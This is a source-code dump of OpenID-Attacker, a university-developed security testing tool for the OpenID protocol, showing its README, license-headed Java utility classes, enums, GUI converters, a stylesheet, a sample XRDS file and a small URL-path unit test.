20 |
21 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/src/test/resources/xrds/xrds.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | http://specs.openid.net/auth/2.0/signon
9 | http://my_endpoint
10 | http://my_claimed_id
11 |
12 |
13 | http://openid.net/signon/1.1
14 | http://my_endpoint
15 | http://my_claimed_id
16 |
17 |
18 | http://openid.net/signon/1.0
19 | http://my_endpoint
20 | http://my_claimed_id
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/src/main/resources/attack.svg:
--------------------------------------------------------------------------------
1 |
16 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/user/persistence/XmlListAdapter.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.user.persistence;
20 |
21 | /**
22 | * Helper class which let JAXB use ObservableList instead of normal Lists.
23 | */
24 | public class XmlListAdapter {
25 | }
26 |
--------------------------------------------------------------------------------
/src/main/resources/screen.css:
--------------------------------------------------------------------------------
1 | td, th {
2 | text-align: center;
3 | }
4 |
5 | table.log table.result {
6 | word-wrap: break-word;
7 | table-layout: fixed;
8 | }
9 |
10 | th.description, td.description {
11 | text-align: left;
12 | }
13 |
14 | table.log th, table.log td {
15 | text-align: left;
16 | }
17 |
18 | pre {
19 | text-align: left;
20 | line-height: 1.8em;
21 | border: none;
22 | background-color: inherit;
23 | }
24 |
25 | td.prevented {
26 | background-color: lime !important;
27 | }
28 |
29 | td.restricted {
30 | background-color: yellow !important;
31 | }
32 |
33 | td.critical {
34 | background-color: red !important;
35 | }
36 |
37 | td.neutral {
38 | background-color: lightgrey !important;
39 | }
40 |
41 | h2 {
42 | font-family: "Yanone Kaffeesatz", "Arial Black";
43 | font-weight: bold;
44 | font-size: 2.7em;
45 | color: #0089c5;
46 | margin-top: 1em;
47 | }
48 |
49 | h3 {
50 | font-family: "Yanone Kaffeesatz";
51 | font-size: 2.3em;
52 | color: #0089c5;
53 | margin-top: 1.2em;
54 | }
55 |
56 | img {
57 | width: 100%;
58 | }
59 |
60 | img.svg {
61 | width: 80%;
62 | height: auto;
63 | margin-left: auto;
64 | margin-right: auto;
65 | display: block;
66 | }
67 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/strategies/DetermineUserStrategy.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.strategies;
20 |
21 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider;
22 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User;
23 |
24 | public interface DetermineUserStrategy {
25 | public User determineAuthenticatedUser(String pageSource, String url, ServiceProvider serviceProvider);
26 | }
27 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/server/status/Status.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.server.status;
20 |
21 | public enum Status {
22 |
23 | STOPPED("Stopped"), RUNNING("Running");
24 | final private String readableName;
25 |
26 | private Status(String readableName) {
27 | this.readableName = readableName;
28 | }
29 |
30 | @Override
31 | public String toString() {
32 | return readableName;
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # OpenID-Attacker
2 | OpenID-Attacker is a free open source security testing tool for the Single Sign-On Protocol OpenID (https://openid.net/specs/openid-authentication-2_0.html).
3 | It is developed by the Chair of Network and Data Security, Ruhr University Bochum (http://nds.rub.de/ ) and the 3curity GmbH (http://3curity.de/ ).
4 |
5 | ## Building
6 | You can build OpenID-Attacker directly from the Github sources. For this purpose, you need:
7 | - Java 8 or higher
8 | - maven
9 | - git
10 |
11 | You procede as follows. You first need to clone OpenID-Attackers sources (you can of course also download a ZIP file):
12 |
13 | ```bash
14 | $ git clone https://github.com/RUB-NDS/OpenID-Attacker.git
15 | ```
16 |
17 | Then you go to the OpenID-Attacker directory and use maven to build and package the files:
18 |
19 | ```bash
20 | $ cd OpenID-Attacker
21 | $ mvn clean package -DskipTests
22 | ```
23 |
24 | Afterwards, you are able to go to the runnable directory and execute OpenID-Attacker:
25 |
26 | ```bash
27 | $ cd runnable
28 | $ java -jar OpenID-Attacker-*.jar
29 | ```
30 |
31 | ## Literature
32 |
33 | - The initial version of OpenID-Attacker is described in http://nds.rub.de/media/ei/arbeiten/2014/12/04/OpenIDAttacker.pdf
34 | - Description of attacks on OpenID can be found in http://nds.rub.de/research/publications/openid/
35 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/strategies/LoginStrategy.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.strategies;
20 |
21 | import wsattacker.sso.openid.attacker.evaluation.LoginResult;
22 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider;
23 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User;
24 |
25 | public interface LoginStrategy {
26 | public LoginResult login(User user, ServiceProvider serviceProvider);
27 | }
28 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/attack/Attack.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.attack;
20 |
21 | import static java.lang.annotation.ElementType.METHOD;
22 | import java.lang.annotation.Retention;
23 | import java.lang.annotation.RetentionPolicy;
24 | import java.lang.annotation.Target;
25 |
26 | @Target(METHOD)
27 | @Retention(RetentionPolicy.RUNTIME)
28 | public @interface Attack {
29 | int number() default 0;
30 | int dependsOnFailureOf() default -1;
31 | }
32 |
--------------------------------------------------------------------------------
/src/test/java/wsattacker/sso/openid/attacker/evaluation/DtdAttackTest.java:
--------------------------------------------------------------------------------
1 | /*
2 | * To change this license header, choose License Headers in Project Properties.
3 | * To change this template file, choose Tools | Templates
4 | * and open the template in the editor.
5 | */
6 | package wsattacker.sso.openid.attacker.evaluation;
7 |
8 | import static org.junit.Assert.assertEquals;
9 | import org.junit.Test;
10 | import wsattacker.sso.openid.attacker.evaluation.attack.DtdAttack;
11 |
12 | /**
13 | *
14 | * @author christiankossmann
15 | */
16 | public class DtdAttackTest {
17 |
18 | @Test
19 | public void testAppendPathToUrlWithSlash() {
20 | String url = "http://my-idp.xyz/";
21 | String path = "xxe";
22 |
23 | ServiceProvider sp = new ServiceProvider(url);
24 | DtdAttack dtdAttack = new DtdAttack(sp);
25 |
26 | assertEquals(dtdAttack.addPathToUrl(path, url), "http://my-idp.xyz/xxe");
27 | }
28 |
29 | @Test
30 | public void testAppendPathToUrlWithoutSlash() {
31 | String url = "http://my-idp.xyz";
32 | String path = "xxe";
33 |
34 | ServiceProvider sp = new ServiceProvider(url);
35 | DtdAttack dtdAttack = new DtdAttack(sp);
36 |
37 | assertEquals(dtdAttack.addPathToUrl(path, url), "http://my-idp.xyz/xxe");
38 | }
39 |
40 | }
41 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/server/IdpType.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.server;
20 |
21 | /**
22 | *
23 | * @author christiankossmann
24 | */
25 | public enum IdpType {
26 | ATTACKER("Attacker"), ANALYZER("Analyzer");
27 | private String representation;
28 |
29 | private IdpType(String representation) {
30 | this.representation = representation;
31 | }
32 |
33 | @Override
34 | public String toString() {
35 | return representation;
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/gui/attack/AbstractAttackParameterGui.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.gui.attack;
20 |
21 | import javax.swing.JPanel;
22 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter;
23 |
24 | public abstract class AbstractAttackParameterGui extends JPanel {
25 |
26 | public AbstractAttackParameterGui() {
27 | }
28 |
29 | public abstract String getParameterName();
30 |
31 | public abstract void doUnbind();
32 |
33 | public abstract AttackParameter getParameter();
34 | }
35 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/gui/server/DateRenderer.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.gui.server;
20 |
21 | import java.text.DateFormat;
22 | import javax.swing.table.DefaultTableCellRenderer;
23 |
24 | public class DateRenderer extends DefaultTableCellRenderer {
25 |
26 | private final DateFormat formatter = DateFormat.getDateTimeInstance(DateFormat.SHORT, DateFormat.MEDIUM);
27 |
28 | @Override
29 | public void setValue(Object value) {
30 | setText((value == null) ? "" : formatter.format(value));
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/attack/parameter/utilities/HttpMethod.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.attack.parameter.utilities;
20 |
21 | import java.io.Serializable;
22 |
23 | public enum HttpMethod implements Serializable {
24 |
25 | GET("GET"), POST("POST"), DO_NOT_SEND("Don't send");
26 | private String representation;
27 |
28 | private HttpMethod(String representation) {
29 | this.representation = representation;
30 | }
31 |
32 | @Override
33 | public String toString() {
34 | return representation;
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/log/RequestType.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.log;
20 |
21 | public enum RequestType {
22 |
23 | ASSOCIATION("Association"), XRDS("XRDS"), HTML("HTML"), TOKEN_VALID("Token Valid"), TOKEN_ATTACK("Token Attack"), ERROR("Error"), CHECK_AUTHENTICATION("Check Authentication"), XXE("XXE");
24 | private String representation;
25 |
26 | private RequestType(String representation) {
27 | this.representation = representation;
28 | }
29 |
30 | @Override
31 | public String toString() {
32 | return representation;
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/server/exception/OpenIdAttackerServerException.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.server.exception;
20 |
21 | public class OpenIdAttackerServerException extends Exception {
22 |
23 | public OpenIdAttackerServerException() {
24 | }
25 |
26 | public OpenIdAttackerServerException(String msg) {
27 | super(msg);
28 | }
29 |
30 | public OpenIdAttackerServerException(String msg, Throwable e) {
31 | super(msg, e);
32 | }
33 |
34 | public OpenIdAttackerServerException(Throwable cause) {
35 | super(cause);
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/gui/log/SelectedRequestConverter.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.gui.log;
20 |
21 | import org.jdesktop.beansbinding.Converter;
22 | import wsattacker.sso.openid.attacker.log.RequestLogEntry;
23 |
24 | public class SelectedRequestConverter extends Converter {
25 |
26 | @Override
27 | public String convertForward(RequestLogEntry value) {
28 | return value.getRequest();
29 | }
30 |
31 | @Override
32 | public RequestLogEntry convertReverse(String value) {
33 | throw new UnsupportedOperationException("Read only conversation");
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/gui/log/SelectedResponseConverter.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.gui.log;
20 |
21 | import org.jdesktop.beansbinding.Converter;
22 | import wsattacker.sso.openid.attacker.log.RequestLogEntry;
23 |
24 | public class SelectedResponseConverter extends Converter {
25 |
26 | @Override
27 | public String convertForward(RequestLogEntry value) {
28 | return value.getResponse();
29 | }
30 |
31 | @Override
32 | public RequestLogEntry convertReverse(String value) {
33 | throw new UnsupportedOperationException("Read only conversation");
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/gui/profile/SelectedNameConverter.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.gui.profile;
20 |
21 | import org.jdesktop.beansbinding.Converter;
22 | import wsattacker.sso.openid.attacker.attack.profile.AttackProfile;
23 |
24 | public class SelectedNameConverter extends Converter {
25 |
26 | @Override
27 | public String convertForward(AttackProfile value) {
28 | return value.getName();
29 | }
30 |
31 | @Override
32 | public AttackProfile convertReverse(String value) {
33 | throw new UnsupportedOperationException("Read only conversation");
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/log/utilities/PrintHelper.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.log.utilities;
20 |
21 | import java.util.Map;
22 |
23 | final public class PrintHelper {
24 |
25 | private PrintHelper() {
26 | }
27 |
28 | public static String mapToString(Map theMap) {
29 | StringBuilder sb = new StringBuilder("");
30 | for (Map.Entry entry : theMap.entrySet()) {
31 | sb.append(entry.getKey());
32 | sb.append(':');
33 | sb.append(entry.getValue());
34 | sb.append('\n');
35 | }
36 | return sb.toString();
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/gui/profile/SelectedDescriptionConverter.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.gui.profile;
20 |
21 | import org.jdesktop.beansbinding.Converter;
22 | import wsattacker.sso.openid.attacker.attack.profile.AttackProfile;
23 |
24 | public class SelectedDescriptionConverter extends Converter {
25 |
26 | @Override
27 | public String convertForward(AttackProfile value) {
28 | return value.getDescription();
29 | }
30 |
31 | @Override
32 | public AttackProfile convertReverse(String value) {
33 | throw new UnsupportedOperationException("Read only conversation");
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/discovery/exception/DiscoveryException.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.discovery.exception;
20 |
21 | public class DiscoveryException extends RuntimeException {
22 |
23 | /**
24 | * Creates a new instance of
25 | * DiscoveryException without detail message.
26 | */
27 | public DiscoveryException(String msg, Throwable e) {
28 | super(msg, e);
29 | }
30 |
31 | /**
32 | * Constructs an instance of
33 | * DiscoveryException with the specified detail message.
34 | *
35 | * @param msg the detail message.
36 | */
37 | public DiscoveryException(String msg) {
38 | super(msg);
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/gui/utilities/XmlFileFilter.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.gui.utilities;
20 |
21 | import java.io.File;
22 | import javax.swing.filechooser.FileFilter;
23 |
24 | public class XmlFileFilter extends FileFilter {
25 |
26 | private static final String DESCRIPTION = "XML-File";
27 |
28 | @Override
29 | public boolean accept(File file) {
30 | boolean result = false;
31 | if (file.isDirectory()) {
32 | result = true;
33 | } else if (file.getName().toLowerCase().endsWith(".xml")) {
34 | result = true;
35 | }
36 | return result;
37 | }
38 |
39 | @Override
40 | public String getDescription() {
41 | return DESCRIPTION;
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/training/TrainingResult.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.training;
20 |
21 | import java.io.Serializable;
22 | import wsattacker.sso.openid.attacker.evaluation.LoginResult;
23 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User;
24 |
25 | public class TrainingResult implements Serializable {
26 | private final User type;
27 | private final LoginResult loginResult;
28 |
29 | public TrainingResult(User type, LoginResult loginResult) {
30 | this.type = type;
31 | this.loginResult = loginResult;
32 | }
33 |
34 | public User getType() {
35 | return type;
36 | }
37 |
38 | public LoginResult getLoginResult() {
39 | return loginResult;
40 | }
41 | }
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/gui/attack/AttackParameterGuiFactory.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.gui.attack;
20 |
21 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter;
22 | import wsattacker.sso.openid.attacker.attack.parameter.SearchReplaceAttackParameter;
23 |
24 | public class AttackParameterGuiFactory {
25 |
26 | public static AbstractAttackParameterGui createGui(AttackParameter parameter) {
27 | AbstractAttackParameterGui gui;
28 | // if (parameter instanceof SearchReplaceAttackParameter) {
